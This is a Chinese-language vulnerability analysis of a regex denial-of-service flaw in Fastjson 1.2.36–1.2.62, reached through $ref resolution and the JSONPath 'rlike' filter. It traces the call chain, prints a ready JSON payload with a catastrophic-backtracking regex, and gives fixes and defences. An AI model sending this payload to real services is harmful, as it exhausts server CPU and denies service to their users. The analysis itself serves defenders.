fastjson 正则拒绝服务简单分析
字数 1528 2025-08-25 22:58:20
Fastjson 正则拒绝服务漏洞分析
漏洞概述
Fastjson 1.2.36至1.2.62版本中存在一个正则表达式拒绝服务(ReDoS)漏洞,攻击者可以通过构造特定的JSON数据,利用JSONPath功能中的正则表达式匹配机制,导致服务端CPU资源耗尽,形成拒绝服务攻击。
漏洞原理
正则表达式拒绝服务(ReDoS)基础
ReDoS(Regular Expression Denial of Service)是指攻击者构造特定的输入字符串,使得正则表达式引擎需要指数级的时间来匹配,从而导致系统资源耗尽。
示例代码展示了基本的ReDoS原理:
String p = "^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$";
String strPropertyValue = "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!";
Pattern pattern = Pattern.compile(p);
Matcher m = pattern.matcher(strPropertyValue);
boolean match = m.matches();
这个正则表达式在处理特定输入时(如大量"a"字符后跟"!")会导致匹配时间急剧增加。
Fastjson中的JSONPath功能
Fastjson 1.2.0之后版本支持JSONPath功能,可以当作对象查询语言(OQL)使用。JSONPath支持两种模式匹配:
[key like 'aa%']- 字符串类型like过滤,支持通配符%[key rlike 'regexpr']- 字符串类型正则匹配过滤,使用JDK正则语法
示例用法:
Object body = JSONPath.eval("{\"html\": {\"body\": \"bob\"}}", "$.html['body']");
System.out.println(body); // 输出: bob
漏洞触发路径
漏洞的核心在于Fastjson处理$ref引用时与JSONPath的结合使用:
- 当JSON解析遇到
$ref键时,会调用JSONPath.eval()方法 - 如果
$ref值包含rlike操作符,会创建RlikeSegement过滤器 - 该过滤器会使用用户提供的正则表达式进行匹配
- 恶意构造的正则表达式和输入字符串会导致ReDoS
漏洞利用分析
关键代码路径
-
JSON解析入口:
Object parse = JSON.parse(json);这会初始化
DefaultJSONParser并进行JSON对象转换 -
引用解析:
在DefaultJSONParser#parseObject中,当遇到$ref键时会添加解析任务:if (key == "$ref" && ref != null && ref.length() > 0) { addResolveTask(task); } -
解析任务处理:
在DefaultJSONParser#handleResovleTask中调用JSONPath.eval:if (ref.startsWith("$")) { refValue = getObject(ref); if (refValue == null) { try { refValue = JSONPath.eval(value, ref); } catch (JSONPathException ex) { // skip } } } -
正则匹配执行:
JSONPath.eval()最终会调用RlikeSegement#apply方法执行正则匹配
漏洞利用Payload
构造特定的JSON数据可以触发此漏洞:
{
"regex": {
"$ref": "$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue": "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}
这个Payload中:
$ref值包含rlike操作符和恶意正则表达式blue字段提供了精心构造的输入字符串- 两者结合会导致正则匹配时间急剧增加
影响范围
- 影响版本:Fastjson 1.2.36至1.2.62
- 安全版本:1.2.63及以上
修复方案
- 升级Fastjson到1.2.63或更高版本
- 如果无法升级,可以禁用JSONPath功能或过滤包含
rlike的输入
技术细节补充
RlikeSegement实现
RlikeSegement是Filter接口的实现类,其apply方法负责执行正则匹配:
public boolean apply(JSONPath path, Object rootObject, Object currentObject, Object item) {
String propertyName = this.propertyName;
Object propertyValue = path.getPropertyValue(item, propertyName, false);
if (propertyValue == null) {
return false;
}
String strValue = propertyValue.toString();
Pattern pattern = Pattern.compile(this.pattern);
boolean match = pattern.matcher(strValue).matches();
return this.not ? !match : match;
}
调用链总结
完整的漏洞触发调用链:
JSON.parse()
→ DefaultJSONParser.parse()
→ DefaultJSONParser.parseObject() // 处理$ref
→ addResolveTask()
→ handleResovleTask()
→ JSONPath.eval()
→ FilterSegment.eval()
→ RlikeSegement.apply()
→ Pattern.matcher().matches()
防御建议
- 输入验证:对用户提供的正则表达式进行严格验证
- 超时机制:为正则匹配设置超时限制
- 资源限制:限制单个请求的CPU使用时间
- 功能禁用:如不需要JSONPath功能,可完全禁用
参考链接
- 原始漏洞分析文章:fastjson 正则拒绝服务简单分析
- Fastjson官方文档:https://github.com/alibaba/fastjson
- OWASP ReDoS指南:https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS